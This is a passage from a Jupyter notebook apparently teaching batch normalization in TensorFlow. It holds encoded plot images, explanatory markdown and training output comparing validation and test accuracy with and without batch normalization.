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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7a7e7f98>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 0.01, tf.nn.relu, 2000, 50)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, using batch normalization produces a model with over 95% accuracy in only 2000 batches, and it was above 90% at somewhere around 500 batches. Without batch normalization, the model takes 1750 iterations just to hit 80% – the network with batch normalization hits that mark after around 200 iterations! (Note: if you run the code yourself, you'll see slightly different results each time because the starting weights - while the same for each model - are different for each run.)\n", "\n", "In the above example, you should also notice that the networks trained fewer batches per second then what you saw in the previous example. That's because much of the time we're tracking is actually spent periodically performing inference to collect data for the plots. In this example we perform that inference every 50 batches instead of every 500, so generating the plot for this example requires 10 times the overhead for the same 2000 iterations." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 0.01, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:43<00:00, 1153.97it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.8343997597694397\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:35<00:00, 526.30it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9755997061729431\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.8271000385284424\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9732001423835754\n" ] }, { "data": { "image/png": "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\nReRzVd0QmklVHwMeA8jLy9NIN6suKCgg/9Rp8Ak